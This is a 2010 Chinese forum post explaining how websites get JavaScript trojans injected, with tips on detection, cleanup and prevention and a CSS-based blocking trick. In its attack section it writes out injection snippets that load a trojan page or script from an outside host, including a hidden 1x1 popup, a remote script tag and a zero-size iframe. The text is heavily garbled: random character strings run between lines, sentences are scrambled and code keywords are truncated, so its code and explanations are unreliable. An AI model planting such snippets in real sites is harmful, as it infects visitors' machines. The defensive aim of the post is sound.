搜索
查看: 10375|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

0 c! J& q- |( B9 w) M

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

% A' h" S* i k; S

IFRAME 和 JS 脚本挂马。

+ h+ V' C* r$ Y" p$ I& K2 L

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

4 a" F. N$ E( N5 |" }

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

( n8 U7 n+ t5 y. l% k: Z' D% u( E9 m

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

- h8 ]+ F- N: D# f, w) j, K

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

5 R" }5 ?7 \( e# `( i

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

4 N: E) }. E# p7 y5 M; q

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

. Z) X, I+ H! G6 U

。一千多位会员的 ID

8 @7 T. h/ | U9 A' ]' _$ R. P! z6 k8 ]

2: 如何检测网页是否被挂马。

8 w6 Q9 F8 M* v4 C

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

5 h& R K( W. r/ K8 }* a& B

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

4 B7 h p" n3 q, N

因素。
2 googl 检测。>

7 w3 E0 n, h8 Q$ B

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

2 z$ M* v8 D- A# h

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

" L9 g+ a/ ^# A4 b7 q% r- O2 G

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

5 D+ [- h! n3 G( ]0 a6 b

* }8 o! z8 t( E2 W" u

3: 如何清除网页木马。

8 s, V% I, M' `% g1 @5 |( W( {( ~! y

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

) e& X' `6 I" {+ m, E, s, T

入源文件把相关的网页挂马种类的可疑代码删除。

. m! @# I* M& f$ n

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

9 D; M# x' ^- {% H Z. m

悉。>

& y6 l3 @0 L3 x& a. a

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

0 C( G5 X9 o- b7 d4 [6 k4 ~

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

: y& D& r: h D& R

2 保证你所使用的顺序及时的更新。

- c7 I4 W" v( ~/ r

3 不要在前台网页上加注后台管理程序登陆页面的链接。

* h3 {& _/ R+ N4 [/ q

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

/ K7 K9 r: D2 d( ~& Y

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

. M& x+ R; @3 S. i" ]

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

% l' X5 {2 i8 W" }- i

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

$ _. k9 E8 G2 B" _% L

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

7 `7 q; J# \9 K# r4 a! C: f

. t) j& R1 G: N$ ^4 q8 V% v. k; c

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

2 @5 G0 Q- x; t/ l5 ~' C

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

( ], ]* S4 y, Y2 Q# a# F- W9 _4 v

JS 挂马溯源

- O! K+ ~4 }. K; O

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

" e$ k# @5 a) G2 E1 s% w; A( [

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

* d3 E6 b; Q+ Q/ g8 T) U I

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

( P2 P4 ^6 d1 }/ l& E

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

4 h: G2 t$ U- L) n

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

4 N8 ]3 A! `0 a3 W) H! W

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

9 T) Z) Y _! o: M. Z+ ~

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

o' z+ }( s. v

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

4 l2 u' O0 x ]& P& M0 u

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

2 L7 I0 e( D6 w; ]9 A& X; V

脚本在工作中会有很大的协助。

% b- D/ f& [! [

挂马原理一点通

7 J5 B6 N& ]; Q7 ~6 N+ {8 }# C

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

( l4 c" s% J2 a8 s* s0 c. Y

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

P2 i* P: P2 c7 M8 X) M

无从区分木马在何处。

1 A o+ C7 S1 S+ n) F

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

9 O; B/ `& u6 \) Y; {* Y! V

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

- p; g- I. e- x' I" ?0 ?3 T) H! p6 _) I" \( S

容易蒙混过关,导致木马久杀不绝。

: H9 _+ m( O: l. M

JS 挂马攻防实录

N* e: L+ q9 ]+ r. V0 X! O; e

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

. g% v5 d1 y; N; V& Y' X

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

" k. Y. o' A, r9 L/ d$ Z% \* Y5 I

这种方法使用的关键代码如下:

! b* C8 n7 g" @. L. h8 N, z

"",  window.open "http://www.v404.cn/ 木马

, i1 X+ P4 C$ V- S

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

; u* A- H+ A9 K8 `/ }9 y$ r& Q

4 \. }6 q! B/ [

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

7 {# E7 F. [# W" |/ h. J

但是设置为 0 后,可能会出现恶意代码不运行的情况。

8 M8 V5 a" \& x- L! Z/ g _

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

( Q( t2 {- `( K9 q. a* T

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

- M( Q |3 H8 c, b4 |

' N6 V$ r& }3 c# [3 n- L. p

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

0 P: {# R$ {+ v1 C0 `& ?5 \

C; O5 D# m) Q6 }; \& `, c! Z

或者

( S" O. \6 z- B" k* b

document.writ "<div style='display:none'>"

) P8 } i: A3 F" L2 @$ e. X& R

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

' D* s$ C$ H$ R8 |

document.writ "</div>"
 

' [7 b( _; M+ H+ w T

8 q, p. X! X8 ` F& E$ k# ]

就成功地将木马挂到对方的网页中了

1 }0 F7 H. E/ U! C* C# ?7 L8 Z9 M

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

) |5 S+ u" B5 {5 E

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

4 j, |. U8 @+ t. [

或者:

9 z0 i* _7 O* N% W' } D# O

<ifram src="vbscript:[ 挂马脚本 ]">

/ }4 y( g$ b. L' X4 A$ B" F

/ c6 ?4 g0 ^" O2 c. Z1 v5 [


等等 …

& A; _% @8 J: [0 a# A' ]7 H3 G3 N i

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

9 k* e* M l. G! F6 D

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

6 v4 }% g! S: O

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

1 J& A, C7 c. B! i7 @) a1 Z

;}

( A+ z" G t b8 V

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

% l r0 i- Z; @& }. v

6 [0 Y( p! F z7 D3 y ~2 _

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

# R. [- M- r W; \- [, {. |

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

) r/ Y' `9 N! ^7 d3 `* t

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

5 _( j- b- F ~/ G: ]4 R# S0 t

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

8 [7 d4 T9 {* O; U' u9 ^, w! P

<title> 让 JS 挂马中止的 CSS 代码 </title>

; G1 L" _5 X3 {; a

<styl type="text/css" id="shudoo">

4 k6 }! C3 ?3 f- R$ M

/*<![CDATA[*/

( m: y) E% n0 A: w

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

, ]: Q( g2 K8 B7 x: ^

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

! ? r3 Q8 Y9 J5 j: }

/*]]>*/

; w* R7 y _$ R; c: z: F& I6 i

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表